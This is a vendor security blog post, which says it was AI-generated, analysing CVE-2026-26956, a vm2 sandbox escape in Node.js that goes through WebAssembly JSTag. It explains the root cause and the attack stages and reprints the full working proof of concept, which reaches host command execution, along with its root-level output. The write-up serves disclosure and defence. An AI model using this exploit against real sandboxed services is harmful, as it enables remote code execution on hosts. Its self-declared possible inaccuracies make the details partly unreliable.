Automated Threat Modeling

vm2 Sandbox Escape via WebAssembly JSTag (CVE-2026-26956): Technical Breakdown with Public PoC

CVE-2026-26956 is a CVSS 9.8 sandbox escape in vm2 version 3.10.4 that uses WebAssembly JSTag exception handling to run arbitrary code on the host. This breakdown covers the root cause, the attack flow, the published proof of concept, and the fix.

CVE Analysis

8 min read

ZeroPath CVE Analysis
ZeroPath CVE Analysis

2026-05-04

vm2 Sandbox Escape via WebAssembly JSTag (CVE-2026-26956): Technical Breakdown with Public PoC
Experimental AI-Generated Content

This CVE analysis is an experimental publication that is completely AI-generated. The content may contain errors or inaccuracies and is subject to change as more information becomes available. We are continuously refining our process.

If you have feedback, questions, or notice any errors, please reach out to us.

[email protected]

Introduction

A single WebAssembly instruction is enough to bypass vm2's sandbox and run arbitrary code on the host. CVE-2026-26956, scored at CVSS 9.8, shows that vm2's JavaScript-level isolation model has a blind spot that sits below the language runtime itself.

vm2 is an open source sandboxing library for Node.js that lets developers run untrusted JavaScript in an isolated context. With 898 npm dependents and hundreds of thousands of weekly downloads, it is one of the most widely used sandboxing solutions in the Node.js ecosystem. It is commonly embedded in platforms that evaluate user-submitted code, in plugin systems, and in serverless function runners.

Technical Information

Root Cause

vm2's sandbox security rests on two JavaScript-level mechanisms:

  1. Code transformer: Injects handleException() calls into all catch clauses within sandboxed code, so any exception objects are sanitized before the guest code can inspect them.
  2. Bridge Proxies: Wrap cross-context objects so that guest code cannot directly access host realm references.

Both defenses operate entirely within the JavaScript layer. The root cause of CVE-2026-26956 is that WebAssembly's try_table instruction with a JSTag catch handler intercepts JavaScript exceptions at V8's C++ level, below JavaScript. vm2's code transformer never gets a chance to sanitize the caught exception, and the bridge Proxies are never consulted.

The vulnerability is classified under CWE-693 (Protection Mechanism Failure), which fits the situation: the protection mechanism exists but can be circumvented entirely by operating at a lower abstraction layer.

Attack Flow

The exploitation chain runs through several defined stages:

Step 1: Trigger a host realm TypeError. The attacker creates an Error object inside the sandbox and sets its name property to a Symbol(). When err.stack is accessed, V8 internally tries to coerce the Symbol to a string during stack trace formatting, which produces a TypeError. This TypeError is created in the host realm, not the sandbox realm.

Step 2: Catch the error via WebAssembly JSTag. The attacker constructs a WebAssembly module containing a try_table instruction with a JSTag catch handler. The module imports a JavaScript trigger function that forces the TypeError (by accessing err.stack), and also imports WebAssembly.JSTag as the tag to catch. When the trigger function throws, the try_table catches the JavaScript exception at the V8 C++ level and returns it as an opaque externref value, which is then returned as a normal function return value from the exported WASM function.

Step 3: Traverse the constructor chain. The returned externref is the unsanitized host realm TypeError. The attacker accesses hostError.constructor.constructor, which resolves to the host realm's Function constructor. Calling hostError.constructor.constructor("return process")() returns the host process object.

Step 4: Achieve RCE. With the host process object, the attacker calls p.mainModule.require("child_process").execSync("id") or any other system command, achieving full remote code execution on the host.

The chain requires no privileges, no user interaction, and operates over a network attack vector with low complexity.

The WebAssembly Module

The binary WebAssembly module used in the exploit is compact. It defines:

  • An import for env.trigger (the JavaScript function that forces the TypeError)
  • An import for js.tag (bound to WebAssembly.JSTag)
  • A single exported function catch_error that wraps the trigger call in a try_table with a JSTag catch clause

This is a legitimate use of the WebAssembly exception handling proposal, which makes it hard to defend against without explicitly blocking WebAssembly.JSTag in the sandbox.

Proof of Concept

A working proof of concept was published directly in the GitHub security advisory GHSA-ffh4-j6h5-pg66 by researcher @0x5t. Here is the complete PoC:

const { VM } = require("vm2"); console.log("vm2:", require("vm2/package.json").version, "| node:", process.version); new VM().run(` const before = typeof process; const err = new Error("x"); err.name = Symbol(); const wasm = new Uint8Array([\ 0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00,\ 0x01,0x0c,0x03,0x60,0x00,0x00,0x60,0x00,0x01,0x6f,0x60,0x01,0x6f,0x00,\ 0x02,0x19,0x02,\ 0x03,0x65,0x6e,0x76,0x07,0x74,0x72,0x69,0x67,0x67,0x65,0x72,0x00,0x00,\ 0x02,0x6a,0x73,0x03,0x74,0x61,0x67,0x04,0x00,0x02,\ 0x03,0x02,0x01,0x01,\ 0x07,0x0f,0x01,\ 0x0b,0x63,0x61,0x74,0x63,0x68,0x5f,0x65,0x72,0x72,0x6f,0x72,0x00,0x01,\ 0x0a,0x12,0x01,0x10,0x00,\ 0x02,0x6f,0x1f,0x40,0x01,0x00,0x00,0x00,0x10,0x00,0x00,0x0b,0x00,0x0b,0x0b\ ]); const instance = new WebAssembly.Instance( new WebAssembly.Module(wasm), { env: { trigger() { err.stack; } }, js: { tag: WebAssembly.JSTag } } ); const hostError = instance.exports.catch_error(); const p = hostError.constructor.constructor("return process")(); const id = p.mainModule.require("child_process").execSync("id").toString().trim(); const log = p.mainModule.require("console").log; log(""); log("process before escape:", before); log("process after escape: ", typeof p); log("host pid: ", p.pid); log("host node version: ", p.version); log("RCE: ", id); `);

The advisory includes output confirming code execution as root:

> node poc.js
vm2: 3.10.4 | node: v25.6.1

process before escape: undefined
process after escape:  object
host pid:              217
host node version:     v25.6.1
RCE:                   uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

The PoC requires vm2 v3.10.4 and Node.js v25+ with WebAssembly exception handling and JSTag support.

Affected Systems and Versions

The vulnerability affects this specific configuration:

  • vm2 version 3.10.4 is confirmed vulnerable
  • Node.js v25.6.1 is the confirmed exploitation environment
  • The exploit requires a Node.js version that supports WebAssembly exception handling and the JSTag API (Node.js 25 and later)
  • The vulnerability is patched in vm2 version 3.10.5

Environments running vm2 3.10.4 on Node.js versions before 25 are not affected by this escape vector, since those versions do not support WebAssembly.JSTag. Version 3.10.5 also addresses several other sandbox escape vectors unrelated to WebAssembly, so upgrading is worthwhile regardless of Node.js version.

Vendor Security History

This is not the first critical sandbox escape disclosed for vm2 in 2026. Earlier in the year, CVE-2026-22709 was identified in version 3.10.0, involving a gap in Promise callback sanitization that also led to a critical sandbox escape enabling arbitrary code execution. The repeated discovery of these complex escape vectors points to a hard underlying problem: holding a JavaScript-level sandbox against an expanding language and runtime surface (WebAssembly, new error types, new introspection APIs). The vm2 maintainers have been responsive in patching, but organizations relying on vm2 for high-assurance isolation should weigh whether to add defense layers or move to a different isolation approach, such as process-level or OS-level sandboxing.

References

Detect & fix
what others miss

Works with
  • GitHub
  • GitLab
  • Bitbucket
  • Azure DevOps Services
  • Gerrit
  • CVS
  • Jira
  • Linear
  • Slack
  • Security Compass
Explore integrations
Security magnifying glass visualization